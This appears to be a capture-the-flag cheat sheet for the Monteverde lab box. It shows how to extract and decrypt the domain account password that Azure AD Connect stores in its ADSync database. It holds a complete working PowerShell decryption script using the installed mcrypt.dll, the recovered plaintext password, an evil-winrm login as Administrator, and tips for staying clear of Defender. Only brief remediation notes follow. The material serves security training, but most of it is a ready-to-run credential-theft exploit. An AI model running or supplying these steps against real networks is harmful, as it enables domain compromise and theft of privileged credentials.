1. Detect an AAD Connect host
# Service
sc.exe qc ADSync
# SERVICE_START_NAME : MEGABANK\AAD_987d7f2f57d2 <- sync service account
# Install location + DB name
reg query "HKLM\SYSTEM\CurrentControlSet\Services\ADSync\Parameters"
# Server : MONTEVERDE.MEGABANK.LOCAL
# DBName : ADSync
# SQLInstance : (empty = local instance)
# Files
dir "C:\Program Files\Microsoft Azure AD Sync\Bin" # miiserver.exe, mcrypt.dll ...
Group hint: users in groups like
Azure Admins / ADSyncAdmins are the intended
audience of this bug, but the DB is usually readable by any local
user.
2. What to steal
| Table | Column | Purpose |
|---|---|---|
mms_server_configuration |
instance_id, keyset_id,
entropy |
decryption key material |
mms_management_agent |
private_configuration_xml |
connector config (forest-login-domain,
forest-login-user) |
mms_management_agent |
encrypted_configuration |
base64
<attribute name="password">…</attribute>
ciphertext |
3. Attack paths
| Path | Tooling | Works as |
|---|---|---|
| Remote dump | adconnectdump.py 'dom/user:pass@ip'
(fox-it/dirkjanm) |
Admin only — opens SCManager over RPC →
rpc_s_access_denied for normal users |
| On-box decrypt | PowerShell + box's own mcrypt.dll |
any local user ✅ |
| On-box binaries | ADSyncGather.exe / ADSyncDecrypt.exe
(dirkjanm release) |
Gather = legacy configs; Decrypt = post-2019 (impersonates
NT SERVICE\ADSync) |
| Offline parse | copy ADSync.mdf + ADSyncQuery.exe (needs
MSSQL LocalDB locally) |
needs file access first |
On Monteverde the LocalDB .mdf was NOT in
Data\ (only mv.dsml) — the DB lives
in the SQL instance reachable via Trusted_Connection:
Server=LocalHost;Database=ADSync;Trusted_Connection=True
4. On-box decrypt (PowerShell, no extra binaries)
$conn = New-Object System.Data.SqlClient.SqlConnection(
"Server=LocalHost;Database=ADSync;Trusted_Connection=True;Connect Timeout=20")
$conn.Open(); $cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;"
$r = $cmd.ExecuteReader(); $r.Read() | Out-Null
$instanceId = $r["instance_id"]; $keyId = $r["keyset_id"]; $entropy = $r["entropy"]
$r.Close()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type='AD';"
$r = $cmd.ExecuteReader(); $r.Read() | Out-Null
$configXml = [string]$r["private_configuration_xml"]
$encXml = [string]$r["encrypted_configuration"]
$r.Close()
$asm = [Reflection.Assembly]::LoadFrom("C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll")
$t = $asm.GetType("Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager")
$km = [Activator]::CreateInstance($t)
$km.LoadKeySet([guid]$entropy, [guid]$instanceId, [uint32]$keyId)
$dec = $null; $km.GetActiveCredentialKey([ref]$dec)
$plain = $null; $dec.DecryptBase64ToString($encXml, [ref]$plain)
$plain
Result:
<encrypted-attributes>
<attribute name="password">d0m@in4dminyeah!</attribute>
</encrypted-attributes>
Read the user from $configXml:
//parameter[@name='forest-login-user'] → often
Administrator.
evil-winrm -i <ip> -u Administrator -p '<decrypted>'
5. Pitfalls
(LocalDB)\.\ADSyncvs local instance:LocalDB= per-service-account profile (files under that user's AppData, ACL'd away from you). If the DB was created on the default local instance, connect withServer=LocalHost;Database=ADSync;Trusted_Connection=True— that is what works on Monteverde.ADSyncGather.exeauto-picks the wrong one and dies withLogin failed for user ''.adconnectdump.py --legacyremote still needs SCM access → run the PowerShell version instead.- Windows Defender / ATP may flag uploaded binaries — the
pure-PowerShell path touches nothing but
System.Data.SqlClient+ the installedmcrypt.dll.
6. Remediation notes
- Use the service-principal (certificate) based Entra Connect setup (2025+) — no stored password to steal.
- Restrict who can read the sync DB / who sits in
Azure Admins. - Monitor for unexpected SQL connections to the ADSync database and
for
mcrypt.dll/KeyManagerloads outside the ADSync service.